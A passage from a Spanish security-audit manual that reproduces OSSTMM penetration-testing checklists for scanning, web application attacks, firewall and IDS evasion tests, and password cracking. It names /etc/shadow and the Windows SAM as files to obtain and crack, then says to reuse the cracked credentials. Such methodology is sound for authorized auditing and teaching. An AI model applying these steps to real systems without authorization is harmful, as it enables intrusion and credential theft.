Usar escaneos TCP fragmentados en orden inverso para enumerar puertos y servicios para el conjunto de puertos definidos en el Apéndice B por defecto para todos los servidores de la red. 12. Usar escaneos UDP para enumerar puertos abiertos o cerrados para los puertos UDP por defecto si UDP no está siendo filtrado [Recomendación: primero comprobar el sistema de filtrado para un subconjunto de puertos UDP] Página 237 de 430

Manual de Auditoria para no Auditores Verificación de Respuestas para Varios Protocolos 13. Verificar/examinar tráfico y protocolos de enrutamiento. 14. Verificar y examinar el uso de protocolos no estándar. 15. Verificar y examinar el uso de protocolos cifrados. 16. Verificar y examinar el uso de TCP e ICMP sobre IPV6. Verificación de Respuestas a Nivel de Paquete 17. Identificar la predictibilidad de las secuencias TCP. 18. Identificar la predictibilidad de los números de secuencia TCP ISN. 19. Identificar la predictibilidad de la Generación de Secuencia IPID. 20. Identificar el up-time del sistema. Identificación de Servicios 21. Relacionar cada puerto abierto con un servicio y protocolo. 22. Identificar el nivel de parcheado del sistema a partir de su uptime. 23. Identificar la aplicación tras el servicio y su nivel de parcheado empleando los banners o la identificación de huellas. 24. Verificar la aplicación y su versión en el sistema. 25. Localizar e identificar el remapeo de servicios o la redirección de sistemas. 26. Identificar los componentes de los servicios en escucha. 27. Usar peticiones propias de Troyanos y servicios UDP en todos los sistemas de la red. Identificación de Sistemas 28. Examinar las respuestas de los sistemas para determinar el tipo de sistema operativo y su nivel de parcheado. 29. Examinar las respuestas de las aplicaciones para determinar su sistema operativo y su nivel de parcheado. 30. Verificar la predicción de secuencia TCP para todos los servidores de la red. 31. Busque ofertas de trabajo donde obtener información sobre los servidores y aplicaciones del objetivo. 32. Buscar en boletines técnicos y grupos de noticias información sobre los servidores y las aplicaciones del objetivo. 33. Relacionar la información recopilada con las respuestas de los sistemas para ajustar los resultados.

Página 238 de 430

Manual de Auditoria para no Auditores 4. Búsqueda de Información Competitiva La Búsqueda de IC es la búsqueda de información útil a partir de la presencia que se tiene en Internet y que puede ser tratada como información sobre el negocio. A diferencia del robo de propiedad intelectual que se da en el espionaje industrial o el hacking, la IC tiende a ser no invasiva y mucho más sutil. Es un buen ejemplo de cómo la presencia en Internet se extiende mucho más allá de los sistemas que se disponen en una DMZ. Usando la IC en un test de intrusión les da un valor añadido a sus diferentes componentes y puede ayudar para encontrar justificaciones a nivel de negocio para implementar determinados servicios.

Información del Negocio 1. Realizar un mapa y medir la estructura de directorio de los servidores web. 2. Realizar un mapa y medir la estructura de directorio de los servidores FTP. 3. Examinar la base de datos WHOIS en busca de servicios relacionados con los nombres de los servidores. 4. Determinar el coste de la infraestructura en Sistemas de Información a partir de sus Sistemas Operativos, Aplicaciones y Hardware. 5. Determinar el coste de mantenimiento de la infraestructura a partir del salario de la zona para profesionales de TI, ofertas de trabajo, cantidad de personal, curriculums publicados y cargos. 6. Medir el entusiasmo (respuesta) de la organización basándose en grupos de noticias, tableros web, y los sitios de respuesta de la industria. 7. Registrar el número de productos que se venden electrónicamente (para descargar). 8. Registrar el número de productos encontrados en fuentes P2P, sitios de software pirata, cracks disponibles para versiones específicas y documentación tanto interna como de terceras partes sobre los productos. 9. Identificar socios del negocio. 10. Identificar los clientes a partir de organizaciones de los mismos sectores industriales. 11. Verificar la claridad y facilidad de uso del proceso de compra de productos. 12. Verificar la claridad y facilidad de uso del proceso y política de devoluciones. 13. Verificar que todos contratos realizados a través de Internet desde la firma digital a la pulsación del botón que implica la aceptación de las cláusulas por parte del cliente final pueden ser repudiadas inmediatamente y durante un período de 7 días.

Página 239 de 430

Manual de Auditoria para no Auditores

5. Revisión de Privacidad La revisión de privacidad se centra en cómo se gestiona, desde un punto de vista ético y legal, el almacenamiento, transmisión y control de datos de información privada perteneciente a empleados y clientes. La utilización de estos datos supone una gran preocupación para muchas personas y es por esto que la legislación está definiendo reglas específicas con relación a la privacidad. Aunque muchas de estas leyes son locales, todas son aplicables a Internet y por tanto afectan de forma internacional a todos los auditores de seguridad. Para estas pruebas es necesario entender la diferencia entre información privada e información personal: por información privada entendemos aquella información que generalmente sólo es conocida por la persona a la que pertenece y la autoridad que ha recopilado dichos datos. Algunos ejemplos de información privada podrían ser transcripciones de Universidad, cantidades de dinero donadas a la Iglesia, nombres de exnovias o exnovios, y quizás un diario de la infancia un tanto embarazoso. Por otro lado, información personal es aquella información que describe una persona o su estilo de vida, como por ejemplo la fecha de nacimiento, color de pelo, ojos, nombre de los miembros de su familia, banco que utiliza, nombre de sus mascotas, preferencias sexuales, religión, o color favorito. Adicionalmente, la información de identificación personal es aquella información que permite derivar la identidad de una persona por sí sola o en conjunto. Podría ser un nombre de persona o un número de identificación.

Política 1. Identificar la política de privacidad pública 2. Identificar los formularios web 3. Identificar el tipo y la localización de la base de datos donde se almacenan los datos recolectados 4. Identificar los datos recolectados por la organización 5. Identificar la localización de los datos almacenados 6. Identificar los tipos de cookies 7. Identificar el tiempo de expiración de las cookies 8. Identificar la información guardada en las cookies 9. Verificar los métodos de cifrado de las cookies 10. Identificar la claridad de la información relacionada con opt-out 11. Identificar la facilidad de usar opt-out Página 240 de 430

Manual de Auditoria para no Auditores 12. Identificar los gifs de publicidad y bugs web en los servicios web y en los correos electrónicos 13. Identificar la localización de los gifs de publicidad 14. Identificar los bugs de web recogidos y devueltos al servidor Difamación y Falsa Divulgación 15. Identificar las personas, organizaciones e instituciones reales a las que corresponden realmente las ficticias. 16. Identificar personas u organizaciones retratadas de forma negativa. Apropiación 17. Identificar personas, organizaciones o materiales que por ellos mismos o por similitud son utilizados comercialmente en sitios web o anuncios publicitarios. Revelación de Datos Privados 18. Identificar información de empleados, organizaciones o materiales que contienen información privada.

6. Obtención de Documentos Este módulo es importante para la verificación de gran cantidad de la información probada y pertenece a muchos de los niveles de lo que se considera seguridad de la información. La cantidad de tiempo concedida a la búsqueda y extracción de información depende del tamaño de la organización, el ámbito del proyecto y el tiempo planificado para la auditoría. La dedicación de más tiempo no siempre significa la obtención de más información, pero puede conducir a piezas claves del rompecabezas de seguridad.

1. Examinar bases de datos de webs y caches buscando la organización objetivo y personas clave. 2. Investigar personas claves vía páginas personales, resúmenes publicados, afiliaciones organizacionales, información de directorios, datos de compañías, y el registro electoral. 3. Recopilar direcciones de e-mail corporativas y personales de las personas clave. 4. Buscar en bases de datos de trabajo conjuntos de perfiles tecnológicos requeridos por la organización objetivo. 5. Buscar en grupos de noticias referencias y mensajes enviados desde dentro de la organización y por personas claves de la organización. 6. Buscar documentos que contengan códigos ocultos o datos de revisión. Página 241 de 430

Manual de Auditoria para no Auditores 7. Examinar redes P2P (Peer-to-Peer) con referencias o envíos desde dentro de la organización y por personas claves de la organización.

7. Búsqueda y Verificación de Vulnerabilidades La finalidad de este módulo es la identificación, comprensión y verificación de debilidades, errores de configuración y vulnerabilidades en un servidor o en una red. La investigación concerniente a la búsqueda de vulnerabilidades es necesaria hasta prácticamente el momento de la entrega del informe. Esta investigación incluye la búsqueda en bases de datos online y listas de correo relativas a los sistemas y redes que se están auditando. No se debe limitar la búsqueda a la web, también se debe considerar la utilización del IRC, grupos de noticias, y sitios FTP underground. La búsqueda de vulnerabilidades utilizando herramientas automáticas es una forma eficiente de determinar agujeros de seguridad existentes y niveles de parcheado de los sistemas. Aunque muchos escáneres automáticos están actualmente tanto en el mercado como en el mundo underground, es importante para los auditores identificar e incorporar en las pruebas que realizan los scripts y exploits que existen actualmente en el mundo underground. No obstante, es necesaria la verificación manual para eliminar falsos positivos, expandir el ámbito de hacking y descubrir el flujo de datos de entrada y salida de la red. La búsqueda manual de vulnerabilidades hace referencia a las personas que delante del ordenador utilizan la creatividad, la experiencia y la ingenuidad para probar la red objetivo.

1. Integrar en las pruebas realizadas los escáneres, herramientas de hacking y exploits utilizados actualmente. 2. Medir la organización objetivo utilizando herramientas de escaneo habituales actualmente. 3. Intentar determinar vulnerabilidades por tipo de aplicación y sistema. 4. Intentar ajustar vulnerabilidades a servicios. 5. Intentar determinar el tipo de aplicación y servicio por vulnerabilidad. 6. Realizar pruebas redundantes al menos con 2 escáneres automáticos de vulnerabilidades. 7. Identificar todas las vulnerabilidades relativas a las aplicaciones. 8. Identificar todas las vulnerabilidades relativas a los sistemas operativos. 9. Identificar todas las vulnerabilidades de sistemas parecidos o semejantes que podrían también afectar a los sistemas objetivo. Página 242 de 430

Manual de Auditoria para no Auditores 10. Verificar todas las vulnerabilidades encontradas durante la fase de búsqueda de exploits con el objetivo de descartar falsos positivos y falsos negativos. 11. Verificar todos los positivos (Se debe tener en cuenta el contrato firmado con la organización objetivo en el caso de estar intentando penetrar o si se puede llegar a provocar una denegación de servicio).

8. Testeo de Aplicaciones de Internet Un test de Aplicaciones de Internet emplea diferentes Técnicas de testeo de Software para encontrar “fallos de seguridad” en aplicaciones cliente/servidor de un sistema desde Internet. En este módulo, nos referimos a aplicaciones cliente/servidor que sean desarrolladas por los administradores de sistema con propósitos de la empresa y programadas con cualquier tecnología y lenguaje de programación. Ej. Aplicaciones web para transacciones entre empresas es un objetivo en este módulo. Tests como "Caja Negra" y/o "Caja Blanca" pueden ser utilizados en este módulo.

Re-Ingeniería 1. Descomponer o Deconstruir los códigos binarios, si es posible. 2. Determinar las Especificaciones de Protocolo de la Aplicación Cliente/Servidor 3. Adivinar la lógica del programa de los mensajes de error/debug en las salidas del programa y en el rendimiento y comportamiento del programa. Autenticación 4. Buscar las posibles combinaciones de contraseñas por fuerza bruta en las aplicaciones. 5. A ser posible, buscar credenciales de cuentas válidas por fuerza bruta. 6. Saltarse el sistema de autenticación con una validación cambiada. 7. Saltarse el sistema de autenticación reproduciendo información de la autenticación 8. Determinar la lógica de la aplicación para mantener las sesiones de autenticación – número (consecutivo) de intentos fallidos, intentos fuera de tiempo, etc. 9. Determinar las limitaciones de control de acceso en las aplicaciones permisos de acceso, duración de las sesiones, tiempo inactivo. Administración de Sesiones 10. Determinar la Información de Administración de Sesiones – número de sesiones concurrentes, Autenticaciones basadas en IP, Autenticación basada en roles, Autenticación basada en Identidad, uso de Cookies, ID de sesión dentro de las secuencias de codificación de la URL, ID de sesión en campos HTML ocultos, etc. Página 243 de 430

Manual de Auditoria para no Auditores 11. Adivinar la secuencia y formato de la ID de sesión. 12. Determinar si la ID de sesión está formada con información de direcciones IP; mirar si la misma información de sesión puede ser recuperada y reutilizada en otra máquina. 13. Determinar las limitaciones de mantenimiento de sesión - uso del ancho de banda, limitaciones de bajadas/subidas de archivos, limitaciones en transacciones, etc. 14. Reunir bastante información con URL's exactas, instrucciones exactas, secuencias de acción / saltos de secuencia y/o omisiones de las páginas. 15. Reunir información sensible a partir de ataques Hombre-en-el-Medio. 16. Inyectar falsa información con técnicas de Hijacking. 17. Reproducir la información reunida para engañar a las aplicaciones. Manipulación de la información de entrada. 18. Encontrar las limitaciones de las variables definidas y de los protocolos longitud de datos, tipo de datos, formato de la estructura. etc. 19. Usar cadenas largas de caracteres para encontrar vulnerabilidades de desbordamientos de memoria en las aplicaciones. 20. Concatenar comandos en las cadenas de entrada de las aplicaciones. 21. Inyectar comandos SQL en las entradas de cadenas de caracteres de aplicaciones web basadas en bases de datos. 22. Examinar vulnerabilidades "Cross-Site Scripting" en las aplicaciones web del sistema. 23. Examinar accesos a directorios/ficheros no autorizados con directorios/rutas transversales en las entradas de cadenas de caracteres de las aplicaciones. 24. Usar cadenas específicas de codificación URL y/o codificación Unicode para saltarse los mecanismos de validación de las aplicaciones. 25. Ejecutar comandos remotos a través de "Server Side Include". 26. Manipular el estado de las cookies (sesión / persistent) para tirar o modificar la lógica dentro de las aplicaciones web "server-side". 27. Manipular los campos variables (ocultos) en los formularios HTML para tirar o modificar la lógica en las aplicaciones web "server inside". 28. Manipular las variables "Referrer", "Host", etc. del protocolo HTTP para tirar o modificar la lógica en las aplicaciones web "server inside". 29. Usar información de entrada ilógica/ilegal para testear las rutinas de error de la aplicación y encontrar mensajes de error/depuración que sean útiles. 30 Manipulación de la Información de salida 31. Recuperar información importante/comprometedora guardadas en las cookies. 32. Recuperar información importante/comprometedora en la caché de la aplicación cliente. 33. Recuperar información importante/comprometedora guardada en los objetos con número de serie. 34. Recuperar información importante/comprometedora guardada en los archivos temporales y objetos.

Página 244 de 430

Manual de Auditoria para no Auditores Filtración de información 35. Buscar información utilizable en campos ocultos de variables en formularios HTML y comentarios en los documentos HTML. 36. Examinar la información contenida en los banners de la aplicación, instrucciones de uso, mensajes de bienvenida, mensajes de despedida, mensajes de ayuda, mensajes de error/depuración, etc. 9. Enrutamiento Las Protecciones de un Router son unas defensas que se encuentran a menudo en una red donde se restringe el flujo del tráfico entre la red de la empresa e Internet. Opera en una política de seguridad y usa ACL's (Access Control Lists o Lista de Control de Acceso) que acepta o deniega paquetes. Este módulo está diseñado para asegurar que solo aquello que debe ser expresamente permitido, puede ser aceptado en la red; todo lo demás debe ser denegado. La protección también debe estar diseñada para restringir el flujo de salida de ciertos tipos de tráfico. Los Router están siendo cada vez más complejos y alguna/os tienen propiedades desconocidas para el auditor y a veces para la organización auditada. El papel del auditor es en parte determinar la función del router dentro de la DMZ.

El Router y sus características 1. Verificar el tipo de router con información reunida de la obtención de Inteligencia. 2. Verificar si el router está dando servicio de traducción de direcciones de red (NAT). 3. Verificar las intrusiones con opciones TTL estratégicas en los paquetes (Firewalking) hecho en el módulo de escaneo de puertos. Verificar la configuración de las ACL's del router 4. Testear la ACL del router en contra de las políticas de seguridad y en contra de la regla "Deny All". 5. Verificar si el router está filtrando el tráfico de la red local hacia afuera. 6. Verificar que el router esté haciendo detección de direcciones falsas. 7. Verificar las intrusiones desde un escaneo inverso en el módulo de escaneo de puertos. 8. Testear las capacidades externas del router desde el interior. 9. Cuantificar la habilidad que tiene el router para manejar fragmentos de paquetes muy pequeños. 10. Cuantificar la habilidad del router para manejar paquetes grandes. 11. Cuantificar la habilidad del router para manejar fragmentos coincidentes como los usados en ataques del tipo TEARDROP. Página 245 de 430

Manual de Auditoria para no Auditores

10.

Testeo de Sistemas Confiados

El propósito de los testeos de sistemas confiados es afectar la presencia en Internet planteándose como una entidad confiada en la red. El escenario de testeo es a veces más teoría que práctica, y en realidad más que oscurecer la frontera entre un Test de Vulnerabilidad y un Testeo de Cortafuegos / ACLS, es dicha frontera.

1. Verificar las relaciones determinadas en la obtención de Inteligencia, Testeo de Aplicaciones y Testeo de Servicios. 2. Testear las relaciones entre varios sistemas a través de provocación de eventos "event triggering" o engaño de origen. 3. Verificar que los sistemas puedan ser engañados. 4. Verificar qué aplicaciones pueden ser engañados.

11.

Testeo de Control de Acceso

El cortafuego controla el flujo del tráfico de la red corporativa, la DMZ, e Internet. Opera en una política de seguridad y usa ACL's (Listas de Control de Acceso). Este módulo está diseñado para segura que solo lo que debe estar expresamente permitido puede ser aceptado dentro de la red, todo lo demás debe ser denegado. De manera adicional, el auditor debe entender la configuración del cortafuego y cartografía que se provee entre los servidores y los servicios que hay detrás. Repasando los logs necesarios de los servidores para verificar los tests desempeñados en presencia de Internet, especialmente en casos donde los resultados de los tests no son inmediatamente evidentes para el auditor. Algunos que son desconocidos son destinados para el analista, quien no ha revisado los logs. El Cortafuegos y sus características. 1. Verificar el tipo de router con información reunida de la Obtención de Inteligencia. 2. Verificar si el router está dando servicio de traducción de direcciones de red (NAT). 3. Verificar las intrusiones con opciones TTL estratégicas en los paquetes(Firewalking) hecho en el módulo de escaneo de puertos.

Página 246 de 430

Manual de Auditoria para no Auditores Verificación de la configuración de las ACL 4. Testear la ACL del cortafuego en contra de las políticas de seguridad y en contra de la regla "Denegar Todo". 5. Verificar si el cortafuego está filtrando el tráfico de la red local hacia afuera. 6. Verificar que el cortafuego esté haciendo detección de direcciones orígenes falsas. 7. Verificar las intrusiones desde un escaneo inverso en el módulo de Escaneo de Puertos. 8. Testear las capacidades externas del cortafuego desde el interior. 9. Determinar el éxito de los métodos de identificación de cortafuegos a través de los distintos paquetes de respuesta. 10. Verificar la posibilidad de escanear usando técnicas ocultas SYN para enumeración a través del cortafuego. 11. Verificar la posibilidad de escanear para enumeración usando puertos orígenes específicos. 12. Cuantificar la habilidad del cortafuego para manejar fragmentos superpuestos como los usados en ataques del tipo TEARDROP. 13. Cuantificar la habilidad del cortafuego para manejar fragmentos de paquetes diminutos. 14. Testear la habilidad del cortafuego para manejar series de paquetes SYN entrantes (inundación) 15. Testear la respuesta del cortafuego a paquetes con la bandera RST activada. 16. Testear el mantenimiento del cortafuego con paquetes UDP estándar. 17. Verificar la habilidad del cortafuego para protegerse de varias técnicas usando paquetes ACK. 18. Verificar la habilidad del cortafuego para protegerse de varias técnicas usando paquetes FIN. 19. Verificar la habilidad del cortafuego para protegerse de varias técnicas usando paquetes NULL. 20. Verificar la habilidad del cortafuego para protegerse de varias técnicas midiendo el tamaño de ventana en el paquete (WIN). 21. Verificar la habilidad del cortafuego para protegerse de varias técnicas usando todas las banderas activadas (XMAS). 22. Verificar la habilidad del cortafuego para protegerse de varias técnicas usando IPIDs. 23. Verificar la habilidad del cortafuego para protegerse de varias técnicas usando protocolos encapsulados. 24. Cuantificar la robustez del cortafuego y su susceptibilidad a los ataques de denegación de servicios con conexiones TCP ininterrumpidas. 25. Cuantificar la robustez del cortafuego y su susceptibilidad a los ataques de denegación de servicios con conexiones TCP temporales. 26. Cuantificar la robustez del cortafuego y su susceptibilidad a los ataques de denegación de servicios con datagramas UDP. 27. Cuantificar la respuesta del cortafuego a todos los tipos de paquetes ICMP.

Página 247 de 430

Manual de Auditoria para no Auditores Revisión de Registros del Cortafuegos 28. Testear el proceso de registro del cortafuego. 29. Verificar escaneos TCP y UDP en los registros del servidor. 30. Verificar escaneos de vulnerabilidades automatizados. 31. Verificar deficiencias de registros de servicios.

12.

Testeo de Sistema de Detección de Intrusos (IDS / IPS)

Este test está enfocado al rendimiento y susceptibilidad de un IDS. La mayor parte de este test no puede ser llevada a cabo adecuadamente sin acceder a los registros del IDS. Algunos de estos tests están relacionados con ataques de ancho de banda, saltos distantes, y latencia que afectan al resultado de estos tests. Repasar los registros del servidor es necesario para verificar que los tests realizados en presencia en Internet, especialmente en los casos donde el resultado de éstos no es inmediatamente evidente para el auditor. Algunos que son desconocidos son destinados para el analista, quien no ha revisado los registros y alertas.

El IDS y sus características 1. Verificar el tipo de IDS con información recogida de la Inteligencia de Información 2. Determinar la esfera de protección o influencia. 3. Testear los estados de alarma del IDS. 4. Testear los parámetros de sensibilidad de las firmas pasado 1 minuto, 5 minutos, 60 minutos, y 24 horas.

Página 248 de 430

Manual de Auditoria para no Auditores

Testeo de configuración 5. Testear la configuración del IDS para reacciones múltiples, ataques variados (inundación). 6. Testear la configuración del IDS para reacciones como URL’s manipuladas y rutinas de explotación. 7. Testear la configuración del IDS para reacciones ante cambios de velocidad al enviar paquetes. 8. Testear la configuración del IDS para reacciones ante cambios aleatorios de velocidad durante un ataque. 9. Testear la configuración del IDS para reacciones ante cambios aleatorios de origen durante un ataque. 10. Testear la configuración del IDS para reacciones ante cambios de puerto de origen. 11. Testear en el IDS, la habilidad de manejar paquetes fragmentados. 12. Testear en el IDS, la habilidad de manejar métodos de ataques de sistemas 13. Testear en el IDS, la habilidad de manejar métodos de ataques de sistemas específicos. 14. Testear los efectos y reacciones del IDS. Una dirección IP contra varias direcciones. 15. Encontrar alertas de IDS sobre escaneos de vulnerabilidades. 16. Encontrar alertas de IDS sobre descifrado de contraseñas. 17. Encontrar alertas de IDS de testeos de sistemas confiados.

13.

Testeo de Medidas de Contingencia

Las medidas de contingencia dictan el manejo de la permeabilidad a los programas maliciosos y emergencias. La identificación de los mecanismos de seguridad y las políticas de respuesta que necesiten ser examinados. Debe ser necesario responder primero a una nueva cuenta de correo electrónico de pruebas o al sistema de escritorio donde el administrador pueda monitorizar.

1. Medir el mínimo de recursos necesarios que se necesitan en el subsistema para realizar las tareas. 2. Verificar los recursos disponibles a este subsistema que necesiten realizar estas tareas, y que recursos están protegidos desde este subsistema. 3. Verificar la detección de medidas presentes para la detección de intentos de acceso a los recursos protegidos. 4. Verificar recursos innecesarios. 5. Verificar las propiedades del sistema de contingencia. Página 249 de 430

Manual de Auditoria para no Auditores 6. Verificar la detección de medidas presentes para la detección de accesos 'no comunes' a los recursos 'necesarios'. 7. Medidas de respuestas y procesos 8. Medidas de configuración del sistema.

14.

Descifrado de Contraseñas

Descifrar las contraseñas es el proceso de validar la robustez de una contraseña a través del uso de herramientas de recuperación de contraseñas automatizados, que dejan al descubierto la aplicación de algoritmos criptográficos débiles, implementaciones incorrectas de algoritmos criptográficos, o contraseñas débiles debido a factores humanos. Este módulo no debe ser confundido con el de recuperación de contraseñas vía escucha de texto por canales libres, es más sencillo de entender que un trastorno del sistema de seguridad, pero solo que tiene mecanismos de autenticación sin cifrar, nada de debilidades en contraseñas [Nota: Este módulo puede incluir técnicas para averiguar manualmente las contraseñas, que explote los usuarios y contraseñas por defecto en aplicaciones o sistemas operativos (p.ej. Usuario: System Contraseña: Test) o fácilmente predecible por parte del error de un usuario (p.ej. Usuario: joe Contraseña: joe). Este puede ser un sistema para obtener acceso a un sistema inicialmente, quizá sea siempre con acceso de administrador o root, pero solo con fines educativos. Más allá de la predictibilidad manual de las contraseñas, a través de combinaciones por defecto o simples, se puede hacer fuerza bruta de contraseñas para aplicaciones como Telnet, usando scripts o programas personalizados, al menos no es viable por valores de espera agotados, siempre con aplicaciones de fuerza bruta con multiconexión (simulando el multihilo). Una vez entrado con privilegios de root o administrador en un sistema, el descifrado de contraseñas consiste en obtener acceso a sistemas o aplicaciones adicionales (gracias a los usuarios cuyas contraseñas sean coincidentes en múltiples sistemas) y es una técnica válida que puede ser usada por influencia del sistema a través de un test de seguridad. Descifrados de contraseñas minuciosos pueden ser realizados como un ejercicio de simple y debe ser subrayada la necesidad de algoritmos criptográficos fuertes para contraseñas de almacenamiento de sistemas de llave, también subrayar la necesidad del refuerzo de una política estricta de contraseñas de usuario, generación automática, o módulos del tipo PAM.

Página 250 de 430

Manual de Auditoria para no Auditores 1. Obtener el fichero de contraseñas desde el sistema que guarda nombres de usuario y contraseña • Para sistemas Unix, ha de estar en /etc/passwd o/y /etc/shadow. • Para sistemas Unix que tienen que realizar autenticaciones SMB, puede encontrar las contraseñas de NT en /etc/smbpasswd. • Para sistemas NT, ha de estar en /winnt/repair/Sam._ (u otra, más difícil de obtener variantes) 2. Arranque un ataque automatizado de diccionario al fichero de contraseñas. 3. Arranque un ataque de fuerza bruta al fichero de contraseñas. 4. Usar contraseñas obtenidas o sus variaciones para acceder a sistemas o aplicaciones adicionales. 5. Arranque Programas automatizados de descifrado en ficheros cifrados que haya encontrado (como documentos PDF o Word) como intento de recopilar más datos y subrayar la necesidad de un cifrado del sistema o de documentos más fuerte. 6. Verificar la edad de las contraseñas.

15.

Testeo de Denegación de Servicios

La Denegación de Servicios (DoS) es una situación donde una circunstancia, sea intencionada o accidental, previene el sistema de tal funcionalidad como sea destinada. En ciertos casos, el sistema debe funcionar exactamente como se diseñó, nunca fue destinado para manejar la carga, alcance, o parámetros que abusen de ellos. Es muy importante que los tests de DoS reciban ayuda adicional de la organización y sea monitorizada a nivel privado. Inundación y ataques DoS Distribuidos (DDoS) están específicamente no comprobados y prohibidos por este manual. Los ataques de inundación y los ataques DDoS SIEMPRE causarán ciertos problemas y a veces no solamente al objetivo sino también a los enrutadores y sistemas entre el auditor y el objetivo.

1. Verificar que las cuentas administrativas y los archivos y recursos del sistema están securizados apropiadamente y todos los accesos están concedidos con "Mínimo Privilegio". 2. Comprobar las restricciones de sistemas expuestas a redes sin confianza. 3. Verificar que los puntos de referencian están establecidos a partir de una actividad normal del sistema. 4. Verificar que los procedimientos están en un lugar que responde a una actividad irregular. 5. Verificar la respuesta a una información negativa SIMULADA (ataques propaganda) 6. Testear cargas de red y de servidor excesivas. Página 251 de 430

Manual de Auditoria para no Auditores

Evaluación de Políticas de Seguridad La política de seguridad resaltada aquí es el documento escrito legible que contiene las políticas que delinean la reducción de riesgos en una organización con la utilización de tipos específicos de tecnologías. Esta política de seguridad puede ser también una forma legible de Listas de Controles de Acceso. Existen dos funciones a llevar a cabo: primero, el testeo de lo escrito contra el estado actual de las conexiones de la presencia en Internet y de otras conexiones no relacionadas a Internet; y segundo, asegurar que la política este incluida dentro de las justificaciones de negocio de la organización, y de los estatutos legales locales, federales e internacionales, en especial en referencia a los derechos y responsabilidades tanto del empleador como de los empleados y la ética de privacidad personal. Estas tareas exigen que el testeo y verificación de vulnerabilidades sea hecho en su totalidad y que todas las otras revisiones técnicas hayan sido llevadas a cabo. A menos que esto sea realizado, no es posible comparar los resultados con los lineamientos a lograr especificados por las políticas de seguridad, traducidos en medidas de protección del entorno operativo. Aquí es extremadamente importante la implicación de las siguientes áreas sin excepción de ninguna clase y son las siguientes áreas Dirección General, Dirección Legal y Recursos Humanos. Además de todas las áreas relacionadas con las tecnologías que dan soporte a los procesos de negocio. 1. Comparar la política de seguridad contra el estado actual de la presencia en Internet. 2. Aprobación de la Gerencia – Busque cualquier signo que revele que la política está aprobada por la gerencia. Sin esta aprobación, la política no tiene valor porque el personal no tiene la obligación de seguir las reglas establecidas en la política. Desde un punto de vista formal, UD puede detener las investigaciones de la política de seguridad si ésta no es aprobada por la gerencia. Sin embargo, el testeo debería continuar para determinar cuán efectivas son las medidas de seguridad en el estado actual de la presencia en Internet. 3. Cerciórese de que la documentación está adecuadamente almacenada, ya sea electrónicamente o en otros medios, y que la política ha sido leída y aceptada por el personal incluso antes de que ellos obtengan acceso a los sistemas informáticos. 4. Identifique los procedimientos de manejo de incidentes, para asegurarse de que las brechas de seguridad son manejadas por las personas adecuadas y que son reportadas de manera apropiada. 5. Conexiones entrantes – Verifique los riesgos mencionados que tienen relación directa con las conexiones entrantes de Internet (Internet -> DMZ, Internet -> red interna), y las medidas que son necesarias implementar para reducir o eliminar dichos riesgos. Estos riesgos pueden ser permitidos en conexiones entrantes, típicamente SMTP, POP3, HTTP, HTTPS, FTP, VPNs y las correspondientes medidas como esquemas de autenticación, encriptación y Listas de Control de Página 252 de 430

Manual de Auditoria para no Auditores Acceso. Específicamente, las reglas que niegan el acceso con estado a la red interna generalmente no son alcanzadas por la implementación. 6. Conexiones salientes – Las conexiones salientes pueden producirse entre la red interna y DMZ, así como también entre la red interna e Internet. Busque cualquier regla de conexiones salientes que no se corresponda con la implementación. Las conexiones salientes no pueden ser usadas para introducir código malicioso o revelar las especificaciones de la red interna. 7. Medidas de seguridad – Las reglas que exigen la implementación de medidas de seguridad, deben ser cumplidas. Aquellas pueden hacer uso de AVS, IDS, cortafuegos, DMZs, routers y las configuraciones/implementaciones adecuadas de acuerdo con los riesgos a contrarrestar. 8. Comprobar la política de seguridad contra el estado actual de las conexiones no relacionadas a Internet. 9. Módems – Debe existir una regla que indique que el uso de módems que no están especialmente asegurados está prohibido o al menos sólo permitido si los módems están desconectados cuando no se encuentran en uso, y configurados para no permitir el marcado. Verifique tanto si la regla correspondiente existe como si la implementación sigue los requisitos. 10. Máquinas de Fax – Debe existir una regla que indique que el uso de las máquinas de fax que pudiera permitir acceso desde el exterior a la memoria de las máquinas está prohibido o al menos sólo permitido si las máquinas son apagadas cuando no se las utiliza. Verifique tanto si la regla correspondiente existe como si la implementación sigue los requisitos. 11. PBX – Debe existir una regla que indique que la administración remota del sistema PBX está prohibida o al menos sólo permitida si las máquinas son apagadas cuando no se las utiliza. Verifique tanto si la regla correspondiente existe como si la implementación sigue los requisitos. 12. Verifique que la política de seguridad establezca las medidas de contención y los tests de ingeniería social basados en el uso indebido de Internet por parte de los empleados, de acuerdo con la justificación de negocios y las mejores prácticas de seguridad. Aunque los principios metodológicos siguen siendo válidos este documento data del año 2003 y en este lapso de tiempo catorce años, por ejemplo, la tecnología ha evolucionado haciendo desaparecer por ejemplo la telefonía fija clásica siendo sustituida por telefonía vía ip, igual ocurre con las máquinas de Fax, y que decir de los módems que salvo en algún ámbito rural extremadamente aislado, han dejado de usarse, siendo sustituido por los routers. Por tanto, vamos a suprimir todas las referencias relativas a estas tecnologías obsoletas en el primer mundo. En cuanto a las tecnologías inalámbricas han experimentado una evolución brutal y son ahora mismo de uso cotidiano. Desde este punto consideraremos el uso de la versión 3 de OSSTMM ya publicada actualizado capitulo ya vistos, pero que dadas sus especiales características merecen ser Página 253 de 430

Manual de Auditoria para no Auditores retomados desde el actual enfoque que desde OSSTMM han recibido en esta nueva versión. En 2010 se publicó la nueva versión de OSSTM 3 y es una reformulación completa de la metodología, debido a los cambios organizacionales, legales y tecnológicos que la sociedad ha experimentado tras 7 años tras la primera aparición de esta metodología. OSSTM es una metodología dirigida básicamente hacia lo que se conoce como Seguridad Operacional, que no es la Seguridad pasiva tradicional donde el Activo está protegido por una serie de salvaguardias que actúan cuando una amenaza se materializa y provoca un impacto sobre el Activo, sea tangible o intangible, aquí la idea principal es separar el Activo, y sus salvaguardas, así como la propiedad y responsabilidad sobre el mismo. Los elementos que contempla OSSMT, son los siguientes que describen en la siguiente tabla. Termino

